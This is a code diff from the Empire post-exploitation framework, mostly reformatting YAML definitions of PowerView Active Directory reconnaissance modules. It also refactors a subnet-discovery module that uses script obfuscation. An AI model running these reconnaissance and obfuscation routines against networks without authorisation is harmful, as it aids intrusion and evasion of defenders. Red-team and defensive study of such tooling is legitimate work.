value: ''
- name: MemberIdentity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name,
- wildcards accepted.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name, wildcards accepted.
required: false
value: ''
- name: AdminCount
@@ -42,23 +43,19 @@ options:
required: false
value: ''
- name: Server
- description: Specifies an Active Directory server (Domain controller) to reflect
- LDAP queries through.
+ description: Specifies an Active Directory server (Domain controller) to reflect LDAP queries through.
required: false
value: ''
- name: Properties
- description: Specifies the properties of the output object to retrieve from the
- server.
+ description: Specifies the properties of the output object to retrieve from the server.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -66,18 +63,16 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: SecurityMasks
- description: Specifies an option for examining security information of a directory
- object. One of "Dacl", "Group", "None", "Owner", "Sacl".
+ description: Specifies an option for examining security information of a directory object. One of "Dacl", "Group", "None",
+ "Owner", "Sacl".
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: FindOne
@@ -87,7 +82,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -95,5 +90,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainGroup {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainGroup completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml
index a4434a538..a6ac44262 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_group_member.yaml
@@ -1,9 +1,12 @@
name: Get-DomainGroupMember
authors:
- - '@harmj0y'
-description: Returns the members of a given group, with the option to "Recurse" to
- find all effective group members. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Returns the members of a given group, with the option to "Recurse" to find all effective group members. Part
+ of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -20,8 +23,7 @@ options:
required: true
value: ''
- name: Identity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name,
- wildcards accepted.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name, wildcards accepted.
required: false
value: ''
- name: Domain
@@ -29,23 +31,19 @@ options:
required: false
value: ''
- name: Recurse
- description: Switch. If the group member is a group, recursively try to query its
- members as well.
+ description: Switch. If the group member is a group, recursively try to query its members as well.
required: false
value: ''
- name: RecurseUsingMatchingRule
- description: Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when
- -Recurse is specified.
+ description: Switch. Use LDAP_MATCHING_RULE_IN_CHAIN in the LDAP search query when -Recurse is specified.
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -53,8 +51,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -62,24 +59,22 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: SecurityMasks
- description: Specifies an option for examining security information of a directory
- object. One of "Dacl", "Group", "None", "Owner", "Sacl".
+ description: Specifies an option for examining security information of a directory object. One of "Dacl", "Group", "None",
+ "Owner", "Sacl".
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -87,5 +82,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainGroupMember {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainGroupMember completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml
index c681bf4b3..0cf4beda7 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_localgroup.yaml
@@ -1,9 +1,11 @@
name: Get-NetLocalGroup
authors:
- - '@harmj0y'
-description: Returns a list of all current users in a specified local group on a local
- or remote machine. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Returns a list of all current users in a specified local group on a local or remote machine. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -32,19 +34,18 @@ options:
required: false
value: ''
- name: Recurse
- description: Switch. If the local member member is a domain group, recursively try
- to resolve its members to get a list of domain users who can access this machine.
+ description: Switch. If the local member member is a domain group, recursively try to resolve its members to get a list
+ of domain users who can access this machine.
required: false
value: ''
- name: API
- description: Switch. Use API calls instead of the WinNT service provider. Less information,
- but the results are faster.
+ description: Switch. Use API calls instead of the WinNT service provider. Less information, but the results are faster.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -52,5 +53,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-NetLocalGroup {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-NetLocalGroup completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_loggedon.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_loggedon.yaml
index 9ab0d8354..2f5aac8ac 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_loggedon.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_loggedon.yaml
@@ -1,9 +1,11 @@
name: Get-NetLoggedon
authors:
- - '@harmj0y'
-description: Execute the NetWkstaUserEnum Win32API call to query a given host for
- actively logged on users. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Execute the NetWkstaUserEnum Win32API call to query a given host for actively logged on users. Part of PowerView.
software: S0194
+tactics: []
techniques:
- '1134'
background: true
@@ -26,7 +28,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -34,5 +36,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-NetLoggedon {{ PARAMS }} | ft -wrap | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-NetLoggedon completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml
index ce9f22963..6a92e510f 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_object_acl.yaml
@@ -1,11 +1,15 @@
name: Get-DomainObjectAcl
authors:
- - '@harmj0y'
- - '@pyrotek3'
-description: 'Returns the ACLs associated with a specific active directory object.
- Part of PowerView. WARNING: specify a specific object, otherwise a huge amount of
- data will be returned.'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+ - name: ''
+ handle: '@pyrotek3'
+ link: ''
+description: 'Returns the ACLs associated with a specific active directory object. Part of PowerView. WARNING: specify a specific
+ object, otherwise a huge amount of data will be returned.'
software: S0194
+tactics: []
techniques:
- T1003
background: true
@@ -22,8 +26,7 @@ options:
required: true
value: ''
- name: Identity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name,
- wildcards accepted.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name, wildcards accepted.
required: false
value: ''
- name: ResolveGUIDs
@@ -31,8 +34,7 @@ options:
required: false
value: 'True'
- name: Sacl
- description: Switch. Return the SACL instead of the DACL for the object (default
- behavior).
+ description: Switch. Return the SACL instead of the DACL for the object (default behavior).
required: false
value: ''
- name: LDAPFilter
@@ -48,18 +50,15 @@ options:
required: false
value: ''
- name: Server
- description: Active Directory server (domain controller) to reflect LDAP queries
- through.
+ description: Active Directory server (domain controller) to reflect LDAP queries through.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -67,19 +66,17 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -87,5 +84,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainObjectAcl {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainObjectAcl completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml
index 296ff63b5..ffb8c81f7 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_ou.yaml
@@ -1,8 +1,11 @@
name: Get-DomainOU
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Gets a list of all current OUs in a domain. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -19,8 +22,7 @@ options:
required: true
value: ''
- name: Identity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name,
- wildcards accepted.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name, wildcards accepted.
required: false
value: ''
- name: GPLink
@@ -32,18 +34,15 @@ options:
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: Properties
- description: Specifies the properties of the output object to retrieve from the
- server.
+ description: Specifies the properties of the output object to retrieve from the server.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -51,8 +50,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -60,24 +58,22 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: SecurityMasks
- description: Specifies an option for examining security information of a directory
- object. One of "Dacl", "Group", "None", "Owner", "Sacl".
+ description: Specifies an option for examining security information of a directory object. One of "Dacl", "Group", "None",
+ "Owner", "Sacl".
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -85,5 +81,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainOU {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainOU completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml
index 0bf5a502c..458b57dae 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_rdp_session.yaml
@@ -1,10 +1,12 @@
name: Get-NetRDPSession
authors:
- - '@harmj0y'
-description: 'Query a given RDP remote service for active sessions and originating
- IPs (replacement for qwinsta). Note: needs admin rights on the remote server you''re
- querying'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: "Query a given RDP remote service for active sessions and originating IPs (replacement for qwinsta). Note: needs\
+ \ admin rights on the remote server you're querying"
software: S0194
+tactics: []
techniques:
- T1076
background: true
@@ -27,7 +29,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -35,5 +37,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-NetRDPSession {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-NetRDPSession completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml
index b08bd7003..12841985c 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_session.yaml
@@ -1,9 +1,11 @@
name: Get-NetSession
authors:
- - '@harmj0y'
-description: Execute the NetSessionEnum Win32API call to query a given host for active
- sessions on the host. Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Execute the NetSessionEnum Win32API call to query a given host for active sessions on the host. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -26,7 +28,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -34,5 +36,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-NetSession {{ PARAMS }} | ft -wrap | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-NetSession completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml
index e1bda0c6b..2792d84d8 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_site.yaml
@@ -1,8 +1,11 @@
name: Get-DomainSite
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Gets a list of all current sites in a domain. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1482
background: true
@@ -19,8 +22,7 @@ options:
required: true
value: ''
- name: Identity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name,
- wildcards accepted.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name, wildcards accepted.
required: false
value: ''
- name: GPLink
@@ -32,18 +34,15 @@ options:
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: Properties
- description: Specifies the properties of the output object to retrieve from the
- server.
+ description: Specifies the properties of the output object to retrieve from the server.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -51,8 +50,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -60,24 +58,22 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: SecurityMasks
- description: Specifies an option for examining security information of a directory
- object. One of "Dacl", "Group", "None", "Owner", "Sacl".
+ description: Specifies an option for examining security information of a directory object. One of "Dacl", "Group", "None",
+ "Owner", "Sacl".
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -85,5 +81,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainSite {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainSite completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml
index d1eeb56f8..6e7bdd614 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet.yaml
@@ -1,8 +1,11 @@
name: Get-DomainSubnet
authors:
- - '@harmj0y'
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
description: Gets a list of all current subnets in a domain. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1016
background: true
@@ -19,8 +22,7 @@ options:
required: true
value: ''
- name: Identity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name,
- wildcards accepted.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name, wildcards accepted.
required: false
value: ''
- name: SiteName
@@ -32,18 +34,15 @@ options:
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: Properties
- description: Specifies the properties of the output object to retrieve from the
- server.
+ description: Specifies the properties of the output object to retrieve from the server.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -51,8 +50,7 @@ options:
required: false
value: ''
- name: SearchScope
- description: Specifies the scope to search under, Base/OneLevel/Subtree (default
- of Subtree)
+ description: Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree)
required: false
value: ''
- name: ResultPageSize
@@ -60,18 +58,16 @@ options:
required: false
value: ''
- name: ServerTimeLimit
- description: Specifies the maximum amount of time the server spends searching. Default
- of 120 seconds.
+ description: Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
required: false
value: ''
- name: SecurityMasks
- description: Specifies an option for examining security information of a directory
- object. One of "Dacl", "Group", "None", "Owner", "Sacl".
+ description: Specifies an option for examining security information of a directory object. One of "Dacl", "Group", "None",
+ "Owner", "Sacl".
required: false
value: ''
- name: Tombstone
- description: Switch. Specifies that the search should also return deleted/tombstoned
- objects.
+ description: Switch. Specifies that the search should also return deleted/tombstoned objects.
required: false
value: ''
- name: FindOne
@@ -81,7 +77,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
@@ -89,5 +85,5 @@ options:
- ConvertTo-Csv
- ConvertTo-Html
- ConvertTo-Xml
-script_path: 'situational_awareness/network/powerview.ps1'
+script_path: situational_awareness/network/powerview.ps1
script_end: Get-DomainSubnet {{ PARAMS }} | {{ OUTPUT_FUNCTION }} | %{$_ + "`n"}; 'Get-DomainSubnet completed'
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py
index 1d9966d55..9819fddc8 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.py
@@ -4,17 +4,16 @@
from builtins import object, str
from typing import Dict
-from empire.server.common import helpers
-from empire.server.common.module_models import PydanticModule
-from empire.server.utils import data_util
+from empire.server.common.empire import MainMenu
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module(object):
@staticmethod
def generate(
- main_menu,
- module: PydanticModule,
+ main_menu: MainMenu,
+ module: EmpireModule,
params: Dict,
obfuscate: bool = False,
obfuscation_command: str = "",
@@ -26,7 +25,7 @@ def generate(
main_menu.installPath
+ "/data/module_source/situational_awareness/network/powerview.ps1"
)
- if main_menu.obfuscate:
+ if obfuscate:
obfuscated_module_source = module_source.replace(
"module_source", "obfuscated_module_source"
)
@@ -36,21 +35,17 @@ def generate(
try:
with open(module_source, "r") as f:
module_code = f.read()
- except:
+ except Exception:
return handle_error_message(
"[!] Could not read module source path at: " + str(module_source)
)
- if main_menu.obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
- script = data_util.obfuscate(
- installPath=main_menu.installPath,
- psScript=module_code,
- obfuscationCommand=main_menu.obfuscateCommand,
- )
+ if obfuscate and not pathlib.Path(obfuscated_module_source).is_file():
+ script = main_menu.obfuscationv2.obfuscate(module_code, obfuscation_command)
else:
script = module_code
- script_end += (
+ script_end = (
"\n"
+ """$Servers = Get-DomainComputer | ForEach-Object {try{Resolve-DNSName $_.dnshostname -Type A -errorAction SilentlyContinue}catch{Write-Warning 'Computer Offline or Not Responding'} } | Select-Object -ExpandProperty IPAddress -ErrorAction SilentlyContinue; $count = 0; $subarry =@(); foreach($i in $Servers){$IPByte = $i.Split("."); $subarry += $IPByte[0..2] -join"."} $final = $subarry | group; Write-Output{The following subnetworks were discovered:}; $final | ForEach-Object {Write-Output "$($_.Name).0/24 - $($_.Count) Hosts"}; """
)
@@ -75,13 +70,11 @@ def generate(
+ ' completed!"'
)
- if main_menu.obfuscate:
- script_end = data_util.obfuscate(
- main_menu.installPath,
- psScript=script_end,
- obfuscationCommand=main_menu.obfuscateCommand,
+ if obfuscate:
+ script_end = main_menu.obfuscationv2.obfuscate(
+ script_end, obfuscation_command
)
script += script_end
- script = data_util.keyword_obfuscation(script)
+ script = main_menu.obfuscationv2.obfuscate_keywords(script)
return script
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml
index 473673e09..e6f32dac7 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_subnet_ranges.yaml
@@ -1,9 +1,11 @@
name: Get-SubnetRanges
authors:
- - '@benichmt1'
-description: Pulls hostnames from AD, performs a Reverse DNS lookup, and parses the
- output into ranges.
+ - name: ''
+ handle: '@benichmt1'
+ link: ''
+description: Pulls hostnames from AD, performs a Reverse DNS lookup, and parses the output into ranges.
software: S0194
+tactics: []
techniques:
- T1016
background: true
@@ -30,7 +32,7 @@ options:
- name: OutputFunction
description: PowerShell's output function to use ("Out-String", "ConvertTo-Json", "ConvertTo-Csv", "ConvertTo-Html", "ConvertTo-Xml").
required: false
- value: 'Out-String'
+ value: Out-String
strict: false
suggested_values:
- Out-String
diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml
index 2220c80fa..bd00c2a70 100644
--- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml
+++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_user.yaml
@@ -1,9 +1,11 @@
name: Get-DomainUser
authors:
- - '@harmj0y'
-description: Query information for a given user or users in the specified domain.
- Part of PowerView.
+ - name: Will Schroeder
+ handle: '@harmj0y'
+ link: https://twitter.com/harmj0y
+description: Query information for a given user or users in the specified domain. Part of PowerView.
software: S0194
+tactics: []
techniques:
- T1033
background: true
@@ -20,8 +22,7 @@ options:
required: true
value: ''
- name: Identity
- description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name,
- wildcards accepted.
+ description: A SamAccountName, DistinguishedName, SID, GUID, or a dns host name, wildcards accepted.
required: false
value: ''
- name: SPN
@@ -33,23 +34,19 @@ options:
required: false
value: ''
- name: AllowDelegation
- description: Switch. Return user accounts that are not marked as 'sensitive and
- not allowed for delegation'
+ description: Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
required: false
value: ''
- name: TrustedToAuth
- description: Switch. Return computer objects that are trusted to authenticate for
- other principals.
+ description: Switch. Return computer objects that are trusted to authenticate for other principals.
required: false
value: ''
- name: PreauthNotRequired
- description: Switch. Return user accounts with "Do not require Kerberos preauthentication"
- set.
+ description: Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
required: false
value: ''
- name: DisallowDelegation
- description: Switch. Return user accounts that are marked as 'sensitive and not
- allowed for delegation'
+ description: Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
required: false
value: ''
- name: Domain
@@ -57,18 +54,15 @@ options:
required: false
value: ''
- name: LDAPFilter
- description: Specifies an LDAP query string that is used to filter Active Directory
- objects.
+ description: Specifies an LDAP query string that is used to filter Active Directory objects.
required: false
value: ''
- name: Properties
- description: Specifies the properties of the output object to retrieve from the
- server.
+ description: Specifies the properties of the output object to retrieve from the server.
required: false
value: ''
- name: SearchBase
- description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
- Useful for OU queries.
+ description: The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries.
required: false
value: ''
- name: Server
@@ -76,8 +70,7 @@ options:
required: false
value: ''
- name: SearchScope
